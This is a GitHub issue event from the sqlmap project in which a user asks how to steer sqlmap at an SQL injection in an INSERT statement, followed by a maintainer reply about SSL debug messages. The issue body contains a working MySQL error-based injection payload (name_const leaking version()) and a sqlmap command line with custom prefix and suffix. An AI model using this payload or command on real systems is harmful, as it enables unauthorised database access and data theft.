{"action":"created","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2159","repository_url":"https://api.github.com/repos/sqlmapproject/sqlmap","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2159/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2159/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2159/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/2159","id":175413760,"number":2159,"title":"INSERT INTO (how do I guide sqlmap)","user":{"login":"Insertintosqlmap","id":22044361,"avatar_url":"https://avatars.githubusercontent.com/u/22044361?v=3","gravatar_id":"","url":"https://api.github.com/users/Insertintosqlmap","html_url":"https://github.com/Insertintosqlmap","followers_url":"https://api.github.com/users/Insertintosqlmap/followers","following_url":"https://api.github.com/users/Insertintosqlmap/following{/other_user}","gists_url":"https://api.github.com/users/Insertintosqlmap/gists{/gist_id}","starred_url":"https://api.github.com/users/Insertintosqlmap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Insertintosqlmap/subscriptions","organizations_url":"https://api.github.com/users/Insertintosqlmap/orgs","repos_url":"https://api.github.com/users/Insertintosqlmap/repos","events_url":"https://api.github.com/users/Insertintosqlmap/events{/privacy}","received_events_url":"https://api.github.com/users/Insertintosqlmap/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2016-09-07T05:07:49Z","updated_at":"2016-09-07T06:49:17Z","closed_at":null,"body":"First, to show my appreciation for all the good work that's been done for sqlmap.\r\nI donated $100:\r\n\r\nhttps://blockchain.info/address/1AUrrKYsamBEThdruYTQmUfMfLF7aaxU6x\r\n\r\n\r\nNow to my problem;\r\n\r\nManually, I know how to construct the SQL Injection, for more background information, the query is as such:\r\n\r\nINSERT INTO profiles (userid, photoid, id, value_int, type, id2) VALUES (155, 5, 'dev.app', '1', 2, **injectiongoesrighthere**)\r\n\r\nThe way to extract version() manually is through (decoded so easier to read)\r\n\r\n``http://www.example.com/?id='' *(select*from(select(name_const(version(),1)),name_const(version(),1))a)* ''``\r\n\r\nWhich returns with:\r\n\r\n``Duplicate column name '5.5[redacted]``\r\n\r\nSo, my question is, how do I guide sqlmap for this injection?\r\n\r\nI ask because if I run sqlmap with --dbms=mysql --risk=3 it just returns \"target is not injectable\".\r\n\r\nPerhaps something close to this will help?\r\n\r\n`sqlmap.py -u \"http://www.example.com/?id=\" -p \"id\" --prefix=\"''\" --suffix=\"''\" --dbms=mysql --technique=E --risk=3`\r\n\r\n\r\nThanks!"},"comment":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/comments/245190833","html_url":"https://github.com/sqlmapproject/sqlmap/issues/2159#issuecomment-245190833","issue_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2159","id":245190833,"user":{"login":"stamparm","id":921555,"avatar_url":"https://avatars.githubusercontent.com/u/921555?v=3","gravatar_id":"","url":"https://api.github.com/users/stamparm","html_url":"https://github.com/stamparm","followers_url":"https://api.github.com/users/stamparm/followers","following_url":"https://api.github.com/users/stamparm/following{/other_user}","gists_url":"https://api.github.com/users/stamparm/gists{/gist_id}","starred_url":"https://api.github.com/users/stamparm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stamparm/subscriptions","organizations_url":"https://api.github.com/users/stamparm/orgs","repos_url":"https://api.github.com/users/stamparm/repos","events_url":"https://api.github.com/users/stamparm/events{/privacy}","received_events_url":"https://api.github.com/users/stamparm/received_events","type":"User","site_admin":false},"created_at":"2016-09-07T06:49:17Z","updated_at":"2016-09-07T06:49:17Z","body":"This last \"bug\" is most probably not a bug at all. sqlmap tries to use the highest possible SSL protocol when establishing the connection for the first time. Hence the multiple protocol mismatch DEBUG message.\n\nCould you please send me the complete console output of a regular sqlmap run against the target along with the traffic file (-t traffic.txt) to miroslav@sqlmap.org? "}}
{"actor":{"display_login":"stamparm"}}